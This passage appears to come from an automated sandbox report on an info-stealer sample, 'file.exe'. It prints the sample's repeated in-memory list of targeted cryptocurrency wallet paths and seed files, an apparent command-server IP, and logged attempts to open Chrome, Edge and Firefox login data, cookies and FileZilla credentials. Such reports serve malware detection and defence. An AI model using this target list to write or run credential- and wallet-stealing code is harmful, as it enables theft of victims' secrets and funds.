Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\app-store.json
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
